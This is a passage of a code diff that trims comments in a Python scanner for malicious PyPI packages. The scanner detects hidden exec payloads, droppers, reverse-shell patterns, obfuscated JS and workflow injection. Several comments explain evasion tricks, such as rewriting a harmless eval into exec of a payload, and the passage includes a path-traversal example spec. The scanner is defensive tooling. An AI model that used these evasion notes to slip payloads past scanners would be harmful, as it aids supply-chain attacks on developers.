+ # Only strings run via exec(__doc__); keep comments as code and take what string-blanking removed.
code = _strip_noncode(original, blank_comments = False)
removed = "".join(o if o != s else " " for o, s in zip(original, code))
out = []
- # The visible exec/eval line is what makes the hidden string executable, so bind it into every finding's evidence: otherwise a reviewed false positive that keeps the same hidden text but flips a harmless `eval("1+1")` to `exec(__doc__)` keeps the same key and stays suppressed.
+ # Bind the visible exec/eval line into the evidence, so flipping it reopens the finding.
trigger = _extract_evidence(stripped, RE_EXEC_EVAL)
def _hidden(pat):
@@ -633,7 +630,7 @@ def _hidden_payload_findings(
f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}",
)
)
- # Fetch-then-run dropper: a network call AND an os/subprocess exec that both live in the blanked region. Search the removed span directly (not "absent from real code") so a benign visible network/subprocess call cannot mask the docstring payload.
+ # Search the removed span directly so a benign visible call cannot mask the payload.
if RE_NETWORK.search(removed) and RE_SUBPROCESS.search(removed):
out.append(
Finding(
@@ -651,7 +648,7 @@ def _hidden_payload_findings(
def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
"""Run all .py-specific checks."""
- # Code-only scanning: strip comments/docstrings up front so prose, doctests and usage examples cannot manufacture false positives. Aligns with the Hugging Face Hub model.
+ # Strip comments/docstrings first so prose and doctests cannot cause false positives.
original = content
content = _strip_noncode(content)
findings = _hidden_payload_findings(original, content, filename, package)
@@ -699,7 +696,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
)
if has_openssl_cli and (has_network or has_keys):
- # Bind whichever side(s) co-occur so a changed endpoint or key reopens.
evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"]
if has_network:
evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}")
@@ -767,7 +763,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
package,
filename,
"Reverse shell / bind shell pattern",
- # Still RE_REVERSE_SHELL, so every finding that survives the gate renders byte-identical evidence to before this change.
+ # Still RE_REVERSE_SHELL so surviving findings keep byte-identical evidence.
_extract_evidence(content, RE_REVERSE_SHELL),
)
)
@@ -868,7 +864,6 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]:
)
if has_base64 and has_exec_eval and has_blob:
- # Digest every blob too: a payload may sit on a separate line from the decode call, and a second encoded blob may be appended later.
_, blob_digest = _blob_digest(content)
findings.append(
Finding(
@@ -1086,9 +1081,9 @@ _MAX_MULTILINE_LINES = 12
_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed
_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it
-# Cap a single rendered line: a short line is shown verbatim, a long (minified) one as a bounded prefix plus a sha256 of the full line, so a packed payload cannot dump unbounded content into the evidence while a change past the cutoff still changes the digest.
+# Long (minified) lines render as a bounded prefix plus a sha256 of the full line.
_MAX_LINE_CHARS = 200
-# Cap on recorded spans in one evidence string; beyond it the remaining spans fold into a digest so a file with thousands of matching lines cannot build a multi-megabyte evidence blob, while an added/removed span past the cap still changes the key.
+# Past this cap, spans fold into a digest so evidence stays bounded but still changes.
_MAX_EVIDENCE_SPANS = 96
@@ -1108,15 +1103,14 @@ def _ends_with_odd_backslash(s: str) -> bool:
return (len(s) - len(s.rstrip("\\"))) % 2 == 1
-# Single-line quoted string literal; blanks complete one-line strings (the legacy view) so the single-line and multi-line blanked spans can be unioned below.
_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"")
def _blank_code_strings(lines: list[str]) -> list[str]:
"""Replace string contents (single- and triple-quoted, escapes honoured) with spaces across ``lines``, keeping the line count and every bracket OUTSIDE a string intact, so bracket counting never miscounts a ``)`` inside a string, including a triple-quoted one a per-line regex cannot blank."""
out: list[str] = []
- in_triple: str | None = None # active ''' or \"\"\" delimiter, or None
- in_string: str | None = None # active ' or " continued via a trailing backslash
+ in_triple: str | None = None
+ in_string: str | None = None
for line in lines:
buf: list[str] = []
i, n = 0, len(line)
@@ -1132,7 +1126,7 @@ def _blank_code_strings(lines: list[str]) -> list[str]:
in_triple = None
continue
if in_string is not None:
- # A single-/double-quoted string continued onto this line by a backslash-escaped newline. Resume blanking until its closing quote; a per-line regex blanker cannot see this, so a `)` on the continuation line would be counted as code and close the call early, dropping the URL/body lines that follow.
+ # Resume a backslash-continued string, or a `)` on this line would close the call early.
j, closed = i, False
while j < n:
if line[j] == "\\":
@@ -1150,14 +1144,14 @@ def _blank_code_strings(lines: list[str]) -> list[str]:
else:
i = n
if not _ends_with_odd_backslash(line):
- in_string = None # unterminated without continuation; stop
+ in_string = None
continue
ch = line[i]
if ch in "'\"":
if line[i : i + 3] in _PY_TRIPLE:
delim = line[i : i + 3]
end = line.find(delim, i + 3)
- if end == -1: # opens a triple string that runs past this line
+ if end == -1:
buf.append(" " * (n - i))
in_triple = delim
i = n
@@ -1165,7 +1159,7 @@ def _blank_code_strings(lines: list[str]) -> list[str]:
buf.append(" " * (end - i + 3))
i = end + 3
continue
- j = i + 1 # single-line string; skip to its closing quote
+ j = i + 1
closed = False
while j < n:
if line[j] == "\\":
@@ -1180,7 +1174,6 @@ def _blank_code_strings(lines: list[str]) -> list[str]:
if closed:
i = j
else:
- # Ran off the line without closing: an odd trailing backslash escapes the newline and continues the string onto the next line, so remember the quote; otherwise it is just unterminated.
i = n
if _ends_with_odd_backslash(line):
in_string = ch
@@ -1218,11 +1211,10 @@ def _scan_line_end(view: list[str], start: int) -> int:
left, right = _bracket_lr(ln)
depth = max(0, depth - left) + right
if ln.rstrip().endswith("\\"):
- continue # explicit backslash continuation: the call (e.g. its `(` and URL/body) is on the next
- # physical line, so do not close here
+ continue
if depth <= 0:
return j
- # Never closed within the hard limit: bind only the soft cap so a stray opener cannot bind a giant unrelated span.
+ # Never closed: bind only the soft cap so a stray opener cannot bind a huge span.
return min(len(view), start + _MAX_CALL_LINES - 1)
@@ -1242,7 +1234,7 @@ def _extract_evidence(
ml_blanked = _blank_code_strings(lines)
out = []
seen: set[tuple[int, int]] = set()
- # Overflow is streamed, not buffered: past _MAX_EVIDENCE_SPANS every further span folds straight into a running digest, so memory stays bounded to the display cap while the digest still covers every overflow span. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly.
+ # Overflow is streamed into a running digest; it reproduces _canon_evidence(" | ".join(overflow)).
overflow_count = 0
overflow_hash = hashlib.sha256()
overflow_started = False
@@ -1265,7 +1257,7 @@ def _extract_evidence(
def _render(start: int, end: int) -> str:
span = lines[start - 1 : end] or ["<multiline match>"]
if len(span) > _MAX_MULTILINE_LINES:
- # Digest the code without the L<NN>: markers so a pure line shift of the same span stays stable while a code change still reopens. The head is truncated for display only.
+ # Digest without L<NN>: markers so a pure line shift stays stable.
code = "\n".join(ln.rstrip() for ln in span)
digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest()
head = span[0].rstrip()
@@ -1279,28 +1271,25 @@ def _extract_evidence(
span = (i, _logical_line_end(sl_blanked, ml_blanked, i))
if span in seen:
continue
- # Only track spans while still filling the display list: past the cap every span folds into the overflow digest, so growing `seen` with all of them would keep memory proportional to the match count. The per-line spans are unique by line number, so dropping them past the cap cannot cause a missed dedup.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add(span)
_emit(_render(*span))
if max_matches and len(out) >= max_matches:
return " | ".join(out)
- # Precompute newline offsets once so mapping a match offset to its 1-based line is O(log n) rather than O(n) per match; the latter made this fallback quadratic on a minified file.
nl = [p for p, ch in enumerate(content) if ch == "\n"]
for m in pattern.finditer(content):
start = bisect.bisect_left(nl, m.start()) + 1
end = bisect.bisect_left(nl, m.end()) + 1
if end <= start or (start, end) in seen:
- continue # single-line matches are already covered by the pass above
- # A giant greedy DOTALL span is bound by the full digest of its content: binding only the anchors leaves the bridged interior unhashed, so a new cross-line payload could be inserted between unchanged outer anchors and keep the same key.
+ continue
+ # Digest a giant DOTALL span's full content so a payload between unchanged anchors reopens.
if len(out) < _MAX_EVIDENCE_SPANS:
seen.add((start, end))
_emit(_render(start, end))
if max_matches and len(out) >= max_matches:
break
if overflow_count:
- # The overflow digest was accumulated from the canonicalized spans as they were emitted, so a pure line shift above the overflow region does not reopen an otherwise-unchanged finding.
out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
return " | ".join(out)
@@ -1322,12 +1311,11 @@ def _blob_digest(content: str) -> tuple[str, str]:
return blobs[0], digest
-# Non-Python checkers. Recent PyPI compromises (Lightning 2.6.x, ForceMemo) carried the payload in a bundled .js / .sh / workflow yaml so the Python imports looked clean.
+# Recent PyPI compromises hid payloads in bundled .js/.sh/workflow files.
def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
"""Run JS-side checks. Triggered by .js / .mjs / .cjs / .ts."""
findings = []
- # A >100 KB JS file inside a Python wheel is anomalous: CRITICAL combined with any other JS heuristic, HIGH standalone.
is_large = len(content) > 100 * 1024
has_obf = bool(RE_JS_OBFUSCATION.search(content))
has_web3 = bool(RE_WEB3_HIJACK.search(content))
@@ -1377,7 +1365,7 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
_extract_evidence(content, RE_WORKFLOW_INJECT),
)
)
- # Pin the whole file's content digest to EVERY JS finding: _extract_evidence blanks only Python string forms before counting brackets, so a JS backtick template literal containing `)` can close a call's span early and omit the lines that follow, and binding the full content means a change to those still reopens.
+ # Pin the full-file digest to every JS finding: JS template literals can end a span early.
if findings or is_large:
digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest()
if findings:
@@ -1389,7 +1377,7 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]:
HIGH,
package,
filename,
- # Size stays out of the check label so the baseline key does not drift when a benign bundle grows; the full-content digest still binds the bytes.
+ # Size stays out of the label so the baseline key does not drift as a bundle grows.
"Python wheel ships large JS bundle (uncommon; manually review)",
f"sha256: {digest}",
)
@@ -1465,7 +1453,6 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding]
def check_workflow_file(content: str, filename: str, package: str) -> list[Finding]:
"""Run GitHub-Actions workflow checks. Triggered by .github/workflows/*.yml."""
findings = []
- # A workflow file inside a PyPI package is suspicious (Shai-Hulud plants `shai-hulud.yml` everywhere); injection-signature matches are CRITICAL.
if RE_WORKFLOW_INJECT.search(content):
findings.append(
Finding(
@@ -1509,10 +1496,10 @@ def check_workflow_file(content: str, filename: str, package: str) -> list[Findi
return findings
-# Tarbomb caps mirrored from scripts/scan_npm_packages.py::safe_extract; duplicated to stay standalone, so keep in sync.
-HARD_MAX_FILE_BYTES = 64 * 1024 * 1024 # 64 MiB per member
-HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulative
-HARD_MAX_MEMBERS = 50_000 # entries per archive
+# Mirrored from scan_npm_packages.py::safe_extract to stay standalone; keep in sync.
+HARD_MAX_FILE_BYTES = 64 * 1024 * 1024
+HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024
+HARD_MAX_MEMBERS = 50_000
def _refuse_unsafe_member_name(name: str) -> str | None:
@@ -1583,7 +1570,6 @@ def iter_archive_files(archive_path: str):
file = sys.stderr,
)
return
- # Refuse symlinks/hardlinks/devices: tar parsers have historically dereferenced them on extract.
if member.issym() or member.islnk():
print(
f" [WARN] {path.name}: refused link member " f"{member.name!r}",
@@ -1624,7 +1610,7 @@ def iter_archive_files(archive_path: str):
f = tf.extractfile(member)
if f is None:
continue
- # Bound the read: a tar header may lie about size
+ # A tar header may lie about size.
data = f.read(HARD_MAX_FILE_BYTES + 1)
if len(data) > HARD_MAX_FILE_BYTES:
print(
@@ -1653,14 +1639,13 @@ def scan_archive(archive_path: str, package: str) -> list[Finding]:
elif lower.endswith(".py"):
findings.extend(check_py_file(content, filename, package))
elif lower.endswith((".js", ".mjs", ".cjs", ".ts")):
- # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js; without this branch we would only see the small Python loader.
+ # Lightning 2.6.x hid its payload in a 14.8 MB router_runtime.js.
findings.extend(check_js_file(content, filename, package))
elif lower.endswith((".sh", ".bash")):
findings.extend(check_shell_file(content, filename, package))
elif "/.github/workflows/" in lower and lower.endswith((".yml", ".yaml")):
findings.extend(check_workflow_file(content, filename, package))
except (zipfile.BadZipFile, tarfile.TarError, EOFError, OSError) as exc:
- # Archive cannot be opened or is structurally broken: either transport corruption or a deliberate attempt to bypass error-swallowing scanners.
findings.append(
Finding(
CRITICAL,
@@ -1724,7 +1709,7 @@ def _pip_download_env() -> dict[str, str]:
return env
-# Pip resolver flags shared by both download branches. The CLI index-URL pin is belt and braces with the env scrub; `--only-binary :all:` avoids running setup.py.
+# The index-URL pin backs up the env scrub; `--only-binary :all:` avoids running setup.py.
_PIP_DOWNLOAD_PIN_FLAGS = [
"--index-url",
"https://pypi.org/simple",
@@ -1733,11 +1718,11 @@ _PIP_DOWNLOAD_PIN_FLAGS = [
]
-# Strip characters that could escape `dest` via `os.path.join`, so a spec like `../../etc/foo==1.0` cannot land outside the temp tree.
+# Keeps specs like `../../etc/foo==1.0` from escaping `dest` via os.path.join.
_RE_PKG_NAME_SANITIZE = re.compile(r"[^A-Za-z0-9._-]")
-# `--only-binary :all:` only filters index candidates: pip still builds a VCS, URL or local-path requirement for metadata before anything is scanned.
+# --only-binary only filters index candidates; pip still builds VCS/URL/path requirements.
_RE_INDEX_SPEC = re.compile(
r"^[A-Za-z0-9]([A-Za-z0-9._-]*[A-Za-z0-9])?\s*(\[[A-Za-z0-9._,\s-]*\])?"
r"[\s()<>=!~*+,.A-Za-z0-9_-]*$"
@@ -1763,7 +1748,6 @@ def _split_index_specs(specs: list[str], download_errors: list[str]) -> list[str
kept = []
for spec in specs:
requirement = spec.split(";", 1)[0].strip()
- # pip drops trailing extras before its local-archive check.
path_like = re.sub(r"\[[^\]]*\]$", "", requirement).rstrip().lower()
if _RE_INDEX_SPEC.match(requirement) and not path_like.endswith(_LOCAL_ARCHIVE_SUFFIXES):
kept.append(spec)
@@ -1775,12 +1759,11 @@ def _split_index_specs(specs: list[str], download_errors: list[str]) -> list[str
return kept
-# sdist fallback. `--only-binary :all:` never builds an sdist, but a wheel-less project then cannot be fetched at all and one such package fails the whole --with-deps resolve. So on resolve failure we drop to per-spec and fetch any sdist-only package's raw tarball from the PyPI JSON API for scan_archive() to read statically: no pip, no build, same no-exec guarantee. Transport failures are still exit 2; only "no wheel" is downgraded.
+# sdist fallback: fetch sdist-only packages' raw tarballs from the PyPI JSON API and scan
+# them statically (no pip, no build). Only "no wheel" is downgraded; transport errors exit 2.
-# How many levels of indirect-dep recovery to chase. Bounded with dedup so recovery always terminates.
_MAX_DEP_FOLLOWUP_DEPTH = 2
_SDIST_DOWNLOAD_TIMEOUT = 180
-# Never fetch an archive larger than we would be willing to scan (iter_archive_files cap).
_MAX_SDIST_BYTES = HARD_MAX_TOTAL_BYTES
# Direct sdist bytes only ever come from PyPI's own CDN; refuse anything else.
_TRUSTED_PYPI_HOSTS = frozenset({"files.pythonhosted.org", "pypi.org", "pypi.python.org"})
@@ -1803,7 +1786,7 @@ def _pypi_json(name: str, version: str | None = None) -> dict | None:
with urllib.request.urlopen(req, timeout = 30) as resp:
if getattr(resp, "status", 200) != 200:
return None
- data = resp.read(16 * 1024 * 1024) # metadata is small; cap regardless
+ data = resp.read(16 * 1024 * 1024)
return json.loads(data.decode("utf-8", errors = "replace"))
except Exception:
return None
@@ -1886,16 +1869,14 @@ def _marker_holds_by_default(marker: str) -> bool:
"""Keep (scan) a dep unless no install reaches it without an extra. The scanner runs on one OS/Python but a package may be installed on another, so a marker that can be true on a different target is always kept; a marker false on every target once no extra is requested (``extra == 'dev'``, ``extra == 'dev' and python_version >= '3.9'``) is dropped. Conservative: on any uncertainty, keep."""
m = marker.strip()
if not m or "extra" not in m:
- return True # no extra gate: installed by default on some target -> scan
+ return True
if any(v in m for v in _MARKER_ENV_VARS):
- # Also platform/python gated. Those atoms can each be true on some target, but an extra
- # still has to be requested when it is AND-ed with them.
+ # An extra AND-ed with platform/python atoms still has to be requested.
try:
from packaging.markers import Marker
return _marker_can_hold_without_extras(Marker(m)._markers)
except Exception:
- return True # an unknown shape: keep, and scan it
- # Pure extra marker: decide by evaluating with no extra requested.
+ return True
try:
from packaging.markers import Marker, default_environment
@@ -1903,7 +1884,6 @@ def _marker_holds_by_default(marker: str) -> bool:
env["extra"] = ""
return bool(Marker(m).evaluate(env))
except Exception:
- # packaging missing/unparseable: drop only a pure positive extra-equality.
return re.fullmatch(r"\s*extra\s*==\s*['\"][^'\"]+['\"]\s*", m) is None
@@ -1922,7 +1902,6 @@ def _requires_dist_names(meta: dict) -> list[str]:
continue
if not _RE_NAME.match(head.strip()):
continue
- # "torch (>=1.10)" / "torch >=1.10" -> "torch>=1.10" (pip-friendly).
specs.append(re.sub(r"\s+", "", head).replace("(", "").replace(")", ""))
return specs
@@ -1969,7 +1948,7 @@ def _download_sdist_direct(
fname, url = picked
if not _is_trusted_pypi_url(url):
return None, f"refusing non-PyPI sdist URL for {name}: {url[:80]}"
- # basename + sanitize keeps the path inside dest; the char class preserves the real `.tar.gz` / `.zip` suffix so the archive reader picks the format.
+ # basename + sanitize keeps the path inside dest and preserves the archive suffix.
safe_fname = _RE_PKG_NAME_SANITIZE.sub("_", os.path.basename(fname)) or "sdist.tar.gz"
out = os.path.join(dest, safe_fname)
try:
@@ -2048,7 +2027,7 @@ def _resolve_per_spec_with_deps(
download_errors.append(f"per-spec --with-deps timed out for {spec}")
continue
if proc.returncode == 0:
- continue # archives landed in dest; collected by the caller
+ continue
meta = _pypi_json(name)
if meta is not None and not _release_has_wheel(meta, version):
fpath, serr = _download_sdist_direct(name, version, dest, meta = meta)
@@ -2057,7 +2036,7 @@ def _resolve_per_spec_with_deps(
continue
sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
continue
- # Has a wheel but the full transitive tree will not co-resolve (ResolutionImpossible), typically a package the requirement file installs with --no-deps by design. Fetch just the package itself with --no-deps so it is still scanned; its conflicting deps are out of scope here.
+ # Has a wheel but the tree will not co-resolve: fetch it alone with --no-deps.
nd_cmd = [
sys.executable,
"-m",
@@ -2080,7 +2059,7 @@ def _resolve_per_spec_with_deps(
f"alone (--no-deps), recovering deps individually.",
file = sys.stderr,
)
- # The --with-deps failure may have been a sdist-only TRANSITIVE dep, which --no-deps skips. Recover the declared deps so that class is still scanned.
+ # Recover declared deps, since --no-deps skips an sdist-only transitive dep.
if meta is not None:
sdist_dep_followups.extend(_requires_dist_for(name, version, meta, download_errors))
continue
@@ -2092,7 +2071,7 @@ def _resolve_per_spec_with_deps(
f"per-spec failed for {spec} (with-deps and --no-deps): " f"{nd.stderr.strip()[:240]}"
)
- # Recover the transitive deps of sdist-only packages: a depth-bounded, deduped worklist so a wheel dep whose own child is sdist-only is itself fetched (--no-deps) and scanned, and that child recovered in turn. `dep` carries the version specifier so a pinned version is fetched.
+ # Depth-bounded, deduped worklist over sdist-only transitive deps.
seen: set[str] = set()
worklist: list[tuple[str, int]] = [(d, 0) for d in sdist_dep_followups]
while worklist:
@@ -2182,10 +2161,9 @@ def download_packages(
if with_deps:
os.makedirs(dest, exist_ok = True)
- # Fast path: resolve and download the whole transitive tree in one call. `--only-binary :all:` refuses sdists so we never build for metadata.
rc, stderr = _pip_download_with_deps(specs, dest, env)
if rc != 0:
- # Atomic resolve failed (a sdist-only package, or a cross-package version conflict). Degrade to per-spec resolution so one bad spec cannot blank the shard, then direct-fetch any sdist-only holdouts. Genuine failures still record an error so the caller exits 2.
+ # Degrade to per-spec resolution so one bad spec cannot blank the shard.
print(
f" [INFO] bulk --with-deps resolve failed "
f"({stderr.strip()[:160]}); falling back to per-spec resolution "
@@ -2197,7 +2175,6 @@ def download_packages(
else:
for spec in specs:
raw_name = _extract_pkg_name(spec)
- # Sanitize before joining into `dest` to prevent path traversal
safe_name = _RE_PKG_NAME_SANITIZE.sub("_", raw_name) or "_pkg"
pkg_dir = os.path.join(dest, safe_name)
os.makedirs(pkg_dir, exist_ok = True)
@@ -2363,7 +2340,7 @@ def version_sort_key(v: str) -> tuple:
parts.append(int(seg))
except ValueError:
parts.append(0)
- while len(parts) < 3: # pad to at least 3 parts
+ while len(parts) < 3:
parts.append(0)
suffix_lower = suffix.lower().lstrip(".-_")
@@ -2378,7 +2355,7 @@ def version_sort_key(v: str) -> tuple:
elif suffix_lower.startswith("post"):
suffix_rank = 1
else:
- suffix_rank = 0 # stable
+ suffix_rank = 0
return (epoch, tuple(parts), suffix_rank, suffix)
@@ -2417,7 +2394,6 @@ def find_safe_version(
try:
bad_idx = versions.index(bad_ver)
except ValueError:
- # bad_ver may resolve to a different string; search by sort key
bad_key = version_sort_key(bad_ver)
bad_idx = None
for i, v in enumerate(versions):
@@ -2428,7 +2404,7 @@ def find_safe_version(
bad_idx = len(versions) - 1
candidates = versions[:bad_idx]
- candidates.reverse() # newest-first among older versions
+ candidates.reverse()
candidates = candidates[:max_search]
if not candidates:
@@ -2503,18 +2479,14 @@ def update_req_line(raw_line: str, safe_ver: str, old_ver: str | None) -> str:
def update_req_file(filepath: str, updates: dict[int, str]) -> None:
"""Apply line-level updates ({1-indexed line_num: new_line_text}) to a requirements file. Writes atomically (sibling tmp file, fsync, os.replace) so a crash mid-write never leaves a half-written file that re-introduces a malicious pin."""
- # encoding is explicit on both halves: open() without it takes the locale codec, so the same
- # requirements file round-trips differently on a runner with LANG=C than on one with a UTF-8
- # locale, and a non-ASCII comment is mangled or raises. studio/backend has a guard for exactly
- # this (tests/test_text_io_encoding.py) but it scans BACKEND_ROOT only, so scripts/ was never
- # covered by it.
+ # Explicit encoding: the locale codec would mangle non-ASCII on LANG=C runners.
with open(filepath, encoding = "utf-8") as f:
lines = f.readlines()
for line_num, new_text in updates.items():
idx = line_num - 1
if 0 <= idx < len(lines):
- ending = "\n" if lines[idx].endswith("\n") else "" # preserve line ending
+ ending = "\n" if lines[idx].endswith("\n") else ""
lines[idx] = new_text + ending
dirpath = os.path.dirname(os.path.abspath(filepath)) or "."
@@ -2523,11 +2495,7 @@ def update_req_file(filepath: str, updates: dict[int, str]) -> None:
dir = dirpath,
)
try:
- # newline = "\n" so the line endings the loop above went to the trouble of preserving
- # survive the write. readlines() above is universal-newline, so a CRLF file arrives as LF
- # in memory, and the default newline then translates it back to os.linesep -- which on
- # Windows rewrites every line of a tracked requirements file and makes the "preserve line
- # ending" above a no-op.
+ # newline="\n", else Windows rewrites every line to CRLF.
with os.fdopen(fd, "w", encoding = "utf-8", newline = "\n") as f:
f.writelines(lines)
f.flush()
@@ -2646,7 +2614,8 @@ def _find_requirements_files(root: str) -> list[str]:
return sorted(results)
-# Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can enforce without drowning in legitimate-library noise. Matched on (package, package-relative file, check, evidence hash); the hash strips ``L<NN>:`` markers so version bumps and line shifts do not reopen an entry, but changed flagged code does. Regenerate with ``--write-baseline``.
+# Matched on (package, relative file, check, evidence hash without L<NN>: markers).
+# Regenerate with --write-baseline.
_DEFAULT_BASELINE_PATH = os.path.join(
os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json"
)
@@ -2657,7 +2626,7 @@ def _norm_pkg(name: str) -> str:
return re.sub(r"[-_.]+", "-", (name or "").strip().lower())
-# Leading "<name>-<version>/" archive root of an sdist member, which carries the version. Stripping it while keeping the rest of the path gives a key stable across version bumps that still distinguishes same-named files.
+# Strip the <name>-<version>/ sdist root so keys survive version bumps.
_RE_SDIST_ROOT = re.compile(r"^[^/]+-\d[^/]*/")
@@ -2666,7 +2635,7 @@ def _relpath_in_package(filename: str) -> str:
return _RE_SDIST_ROOT.sub("", filename, count = 1)
-# Evidence joins matched spans with " | " and a newline between labelled groups, each span tagged "L<NN>: ". Split only on those real delimiters, never on a bare "|", since matched code may contain a bitwise-or or union type. The prefix strips only a genuine leading marker, so a marker-like "L<NN>:" inside raw code is left intact.
+# Split only on real delimiters, never a bare `|`, which code may contain.
_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n")
_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?")
@@ -2730,7 +2699,7 @@ def _load_baseline(path: str) -> "dict[tuple[str, str, str, str], set[str] | Non
)
except (KeyError, TypeError):
continue
- # None = unpinned (key alone suppresses). A set = only those file digests. An unpinned entry wins, since it already suppresses the key on its own.
+ # None = unpinned (key alone suppresses); a set pins file digests. Unpinned wins.
pin = e.get("file_sha256")
if key not in keys:
keys[key] = {pin} if pin else None
@@ -2821,11 +2790,8 @@ def _classify_reviewed_site(f: Finding, entries: list[tuple[str, list[str]]]) ->
if added and not removed:
return ("unread", f"{added} matched line(s) appended to a reviewed file, none gone")
if added:
- # A multiset diff cannot tell "this line was rewritten" from "one went, an unrelated
- # one arrived", and it does not need to: both leave matched code that was never read
- # in its current form, which is the same position a new occurrence puts you in.
- # Narrowing the full read to strict additions would route exec(compile(src, path,
- # "exec")) -> exec(payload) -- an edit, by the diff -- to the "did it just move" path.
+ # Any change, not just strict additions, needs a full read: an edit can turn
+ # exec(compile(...)) into exec(payload).
return (
"unread",
f"{added} matched line(s) added and {removed} gone: the flagged code was rewritten",
@@ -2933,10 +2899,7 @@ def _write_baseline(
"version": 1,
"entries": entries,
}
- # newline = "\n" for the same reason as update_req_file above: the default translates every
- # "\n" json.dump emits to os.linesep, and --write-baseline rewrites the tracked
- # scripts/scan_packages_baseline.json in place, so on Windows a one-entry review turned into a
- # whole-file CRLF diff over several thousand lines.
+ # newline="\n", else Windows rewrites the tracked baseline JSON to CRLF.
with open(path, "w", encoding = "utf-8", newline = "\n") as fh:
json.dump(doc, fh, indent = 2, sort_keys = False)
fh.write("\n")
@@ -2955,7 +2918,6 @@ def _partition_baseline(
hit = key in baseline
if hit:
pins = baseline[key]
- # A pinned entry only covers the file it was reviewed against.
hit = pins is None or f.file_sha256 in pins
(suppressed if hit else active).append(f)
return active, suppressed
@@ -3088,7 +3050,7 @@ def main() -> int:
tmpdir = tempfile.mkdtemp(prefix = "pth_scan_")
atexit.register(lambda d = tmpdir: shutil.rmtree(d, ignore_errors = True))
download_errors: list[str] = []
- # Scan-side failures, kept beside the download ones so both reach the SCAN INCOMPLETE block below. A stall has to exit 2 like any other partial scan: exit 1 is reserved for "non-baselined CRITICAL or HIGH findings detected".
+ # Scan-side failures exit 2 like any partial scan; exit 1 means findings.
scan_errors: list[str] = []
try:
downloaded, download_errors = download_packages(
@@ -3098,7 +3060,8 @@ def main() -> int:
)
print(f" Downloaded {len(downloaded)} archive(s).")
- # Scanning, not downloading, is the cost: on the hf-stack shard `pip download` takes 9.7s and the pass below took 306s of a 316s total. `imap` with chunksize=1 yields in submission order, so the findings list matches the serial loop's; chunksize=1 is also what makes `next(timeout=)` available at all, since above 1 CPython's Pool.imap returns a bare generator with no timeout support.
+ # Scanning dominates the cost. imap with chunksize=1 keeps serial order and enables
+ # next(timeout=).
tasks = [(archive_path, _extract_pkg_name(spec)) for spec, archive_path in downloaded]
jobs = args.jobs if args.jobs else max(1, min(4, os.cpu_count() or 1))
if jobs > 1 and len(tasks) > 1:
@@ -3110,7 +3073,7 @@ def main() -> int:
try:
captured, findings = results.next(timeout = 900)
except multiprocessing.TimeoutError:
- # A worker died (OOM or segfault on a hostile archive). Without this the iterator blocks forever and the job only ends at the workflow timeout with no reason given. Recorded rather than raised, since `raise SystemExit(<str>)` exits 1 and 1 already means "CRITICAL or HIGH findings detected"; routing it here gets SCAN INCOMPLETE and exit 2.
+ # A worker died: record it so the run exits 2 (incomplete) instead of hanging.
scan_errors.append(
f"scan stalled after {i}/{len(tasks)} archive(s) with no "
f"result for 900s; a pool worker most likely died"
@@ -3165,7 +3128,7 @@ def main() -> int:
)
_run_fix(critical_pkgs, entries, args.max_search)
- # Surface pip-download failures BEFORE the exit code so a partial download cannot masquerade as "0 findings, all clean", and so a baseline is never written from an incomplete scan.
+ # Report failures before the exit code so a partial scan cannot read as clean.
incomplete_errors = download_errors + scan_errors
if incomplete_errors:
print(
@@ -3182,12 +3145,10 @@ def main() -> int:
)
return 2
- # --write-baseline: persist the full current CRITICAL/HIGH set as the new allowlist (ignoring any loaded baseline), then exit 0. Only reached once the scan is known complete.
if args.write_baseline:
_write_baseline(args.write_baseline, all_findings, source = baseline_path)
return 0
- # Exit 1 only if a NON-baselined CRITICAL or HIGH remains. This is the signal CI gates on once the baseline reaches a clean run.
if any(f.severity in (CRITICAL, HIGH) for f in active):
return 1
return 0
diff --git a/scripts/sd_cpp_smoke.py b/scripts/sd_cpp_smoke.py
index 433050f141a..3eeb8b1eb29 100644
--- a/scripts/sd_cpp_smoke.py
+++ b/scripts/sd_cpp_smoke.py
@@ -46,7 +46,6 @@ from core.inference.sd_cpp_args import ( # noqa: E402
)
from core.inference.sd_cpp_engine import SdCppEngine, find_sd_cpp_binary # noqa: E402
-# memory mode -> sd.cpp offload policy, matching the diffusers planner
_MODE_TO_POLICY = {
MEMORY_MODE_FAST: OFFLOAD_NONE,
MEMORY_MODE_BALANCED: OFFLOAD_GROUP,
@@ -60,7 +59,6 @@ def main(argv: list[str] | None = None) -> int:
p.add_argument("--binary", default = None, help = "sd-cli path (else env / finder)")
p.add_argument("--family", default = "z-image")
p.add_argument("--diffusion-model", default = None)
- # img2img + upscale inputs
p.add_argument("--init-img", default = None)
p.add_argument("--strength", type = float, default = 0.6)
p.add_argument("--upscale-model", default = None)
diff --git a/scripts/sdpa_mask_backend_probe.py b/scripts/sdpa_mask_backend_probe.py
index f38089ff07b..87c62163814 100644
--- a/scripts/sdpa_mask_backend_probe.py
+++ b/scripts/sdpa_mask_backend_probe.py
